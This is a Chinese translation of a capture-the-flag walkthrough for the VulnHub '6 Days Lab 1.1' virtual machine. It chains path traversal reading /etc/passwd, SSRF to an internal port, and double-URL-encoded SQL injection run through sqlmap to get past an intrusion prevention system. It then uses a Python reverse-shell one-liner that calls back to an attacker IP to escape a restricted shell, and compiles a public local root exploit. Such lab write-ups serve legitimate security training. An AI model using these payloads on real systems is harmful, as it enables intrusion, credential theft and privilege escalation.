6天实验1.1 CTF演练

在本文中,我们将尝试完成另一个“CanYouPwn.Me”在VulnHub网站上发布的CTF挑战。记录完成挑战的完整过程,本次挑战中将利用以下web漏洞:路径遍历漏洞、SQL注入漏洞和服务器端请求伪造漏洞

下载VM并在VirtualBox中运行它的链接如下所示:

https://download.vulnhub.com/6daylab/6Days_Lab-v1.0.1.ova

Torrent下载URL也可用于此VM,您可以在本文的参考部分找到该下载URL 。

在本文中,我们将利用以下Web应用程序漏洞:

  1. 路径遍历漏洞;
  2. SQL注入漏洞;
  3. 服务器端请求伪造(SSRF)漏洞。

注意:由于这是CTF演练,因此我不会涵盖上述漏洞的基本知识。

步骤1

在VirtualBox.com上下载并运行本机后,我开始运行Netdiscover命令以获取目标机器的IP地址。命令输出可以在下面给出的屏幕截图中看到:

使用的命令:netdiscover

如上图所示,我们获得了虚拟机的IP地址,即192.168.11.20(目标机IP地址)。

我们现在将使用192.168.11.16作为攻击者IP地址。

请注意:目标和攻击者机器IP地址可能在网络配置上有所不同。

步骤2

第一步总是找出目标机器上可用的端口和服务。Nmap全端口扫描用于此目的。这在以下屏幕截图中进行了说明:

使用的命令:

nmap 192.168.11.20 -v -Pn -p- {这里-v用于详细模式,-Pn用于No Ping扫描,-p-用于全端口扫描}

Nmap扫描结果在目标机器上提供了两个开放端口。一个端口是HTTP-proxy / 8080。它被过滤了,因此引起了我的注意。因此,我在笔记本上标记了这些信息供以后参考。

当我在Web浏览器上打开目标计算机IP时,它打开了关于特定入侵防御系统(IPS)的网页。你可以在上面的截图中看到。根据主页上的信息,目标机器最近推出了全新的IPS产品。这也被用来监控自己网站的安全。

与往常一样,我开始探索应用程序中的漏洞。我找到了我的第一个入口点,我们可以在网页上输入促销代码。我开始探索此参数来查找其他类型的漏洞。然而,我没有得到任何东西,因为我的所有请求都被目标应用程序上实施的IPS阻止。IPS错误信息可以在以下屏幕截图中看到:

从上面的截图可以看出,我试图在URL中添加一个单引号来验证任何基于错误的SQL注入,但是IPS阻止了该请求。之后,我尝试模糊参数,但所有有效载荷也被IPS阻止。我也尝试过不同的编码技术来绕过IPS,但在这方面也没有取得任何成功。

步骤3

我在目标机器上运行Dirb实用程序来枚举其他可能的网页和目录。它给了一些有用的目录,可以进一步探索。您可以在下面的截图中查看DirB输出:

使用的命令:

dirb http://192.168.11.20

从Dirb输出中,我逐个检查了所有已识别的目录,但IPS阻止了所有内容。在下面的截图中可以看到:

正如您在上面的屏幕截图中看到的那样,我尝试使用curl实用程序访问URL。但是,我得到了一个服务器响应,说“恶意请求被阻止”。

所以,我又回到了目标机器上的主页。我会密切观察页面的HTML内容以获取更多线索; 那里我在image.php页面找到了一个“src”参数。这是试图从外部来源调用图像。在下面的截图中可以看到:

我想到的第一件事情是它可能容易受到远程文件包含(RFI)的影响,但它不是那么容易。在测试URL中其他可能的漏洞时,我发现“src”参数容易受到路径遍历漏洞的攻击。我通过利用src参数提取/ etc / passwd文件。这在以下屏幕截图中进行了说明:

使用的有效负载:

../../../../../etc/passwd

从/ etc / password文件中,我们可以看到目标系统上有两个用户是“user”和“andrea”。Andera的shell设置为/ bin / andrea。

接下来,我尝试提取目标系统上可用的其他文件。在下面的截图中可以看到目标机器上找到的这些文件之一:

从突出显示的区域可以看出,用户输入参数直接与MySQL查询进行交互。这意味着它很容易发生SQL注入攻击。但是,由于在应用程序中启用了IPS,所以我们无法利用SQL注入,它会阻止请求。

接下来,我通过利用路径遍历漏洞提取Apache默认配置文件。这在上一步中已经确定。在下面的截图中可以看到:

从Apache配置的屏幕截图中可以看到,8080端口上还有另一个网站服务正在运行。但是,由于它被过滤,因此它不可公开访问。所以,我试图通过探索路径遍历漏洞和服务器端请求伪造(SSRF)的组合在本地访问该端口的希望的IPS可能端口被禁用无8080当IPS服务被禁用,我们就可以利用SQL注入漏洞从数据库中获取信息。

首先,我尝试访问可在屏幕截图中看到的index.php:

从上面的屏幕截图可以看出,我们可以在端口8080上获得响应。现在我们可以验证IPS是否在此端口上被禁用。我试图用参数值添加单引号。这可以在下面的截图中看到:

该请求再次被阻止; 这意味着IPS也在端口8080上运行。在花了一些时间并使用一些编码技术之后,我可以通过使用双重URL编码有效载荷来绕过它。这可以在下面的截图中看到:

让我们在参数中输入这个编码的有效载荷,看看它是否也被绕过。

正如你在上面的截图中看到的那样,我能够绕过IPS,正如我们从前面的步骤中已经知道的那样,一个参数很容易被SQL注入。所以,让我们尝试通过使用SQLmap来利用它。为此,我们将不得不运行Path Traversal + SSRF + SQL Injection组合的漏洞利用。因此,让我们对Burp Suite做一些小修改,以便与SSRF一起工作。

首先,我们必须打开比赛并替换Burp Suite中的部分。这可以在下面的屏幕截图中突出显示的区域中看到:

接下来,我点击添加按钮,一个弹出窗口将打开。我现在必须添加匹配条件,如下面的截图所示:

保存此配置后,Burp Suite将自动更改URL。这可以在以下屏幕截图中看到:

我们可以在上面的屏幕截图中看到Burp Suite正在接受我们的配置并自动将请求修改为我们已经配置的请求。接下来,我运行SQL映射来利用SQL注入漏洞。

我试图在URL上运行SQLmap,但由于IPS的存在,SQLmap无法工作。要绕过防火墙,某些特殊字符需要经过双重URL编码才能执行。这可以在下面的截图中看到:

使用的命令:

sqlmap -r sqlmap -risk = 3 -level = 5 -proxy = http://127.0.0.1:8080 -tamper = chardoubleencode -dbms = mysql -dbs

因此,我们成功地利用了SQL注入并获得了用户“andrea”的密码。正如我们所知,目标系统上已经存在andrea,所以我尝试在目标系统上使用此密码进行ssh登录。这在以下屏幕截图中进行了说明:

登录凭证是正确的。因此,我们终于得到了用户访问目标机器的权限。

在获得用户对目标系统的访问权后,我接下来尝试运行命令以进行进一步分析。但是,似乎这些命令正在执行,但没有显示输出。我还注意到符号’/’也被阻塞在目标机器上。这可以在下面的截图中看到:

在上面的屏幕截图中,执行命令返回的错误消息显示了有关受限shell的一些信息。这是一个’rbash’限制壳。因此,我们必须找到另一种在目标系统上执行命令的方式。

使用的命令:

  1. nc –lvp 4444 {on another terminal to, listening on port 4444 for reverse connection}
  2. python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.100.11”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

    {Python command to get the other reverse shell}

从上面的截图可以看出,我们执行了一个命令来获得另一个将绕过目标机器上rbash限制的反向shell。现在,我们可以运行命令来浏览机器或尝试获取root访问权限。

使用的命令:

cat / etc / issue

从上面的截图可以看出,目标机器正在运行Ubuntu 12.04.5。谷歌搜索给了我一个本地漏洞利用,以提升root权限。如下所示:

接下来,我将漏洞下载到本地系统,并使用wget命令将其转移到目标系统。这可以在下面的截图中看到:

现在,漏洞被下载到目标机器上。接下来,我编译漏洞并运行它。

命令

  1. gcc 37292.c -o exploit

    This command is to compile the Exploit by using the gcc compiler.

  2. chmod +x exploit

    This command gives executable permission to the exploit.

  3. ./exploit

    This command runs the exploit to get the root.

从上面的屏幕截图可以看出,我们已经获得了目标机器上的根访问权限。挑战现已完成。

参考文献:

  • https://www.vulnhub.com/entry/6days-lab-11,156/
  • https://download.vulnhub.com/6daylab/6Days_Lab-v1.0.1.ova
  • https://download.vulnhub.com/6daylab/6Days_Lab-v1.0.1.ova.torrent {Torrent下载}
  • https://www.exploit-db.com/exploits/37292/
  • http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

 

本文由绿盟科技博客翻译,原文链接:http://resources.infosecinstitute.com/6-days-lab-1-1-ctf-walkthrough/

Spread the word. Share this post!

Meet The Author

Leave Comment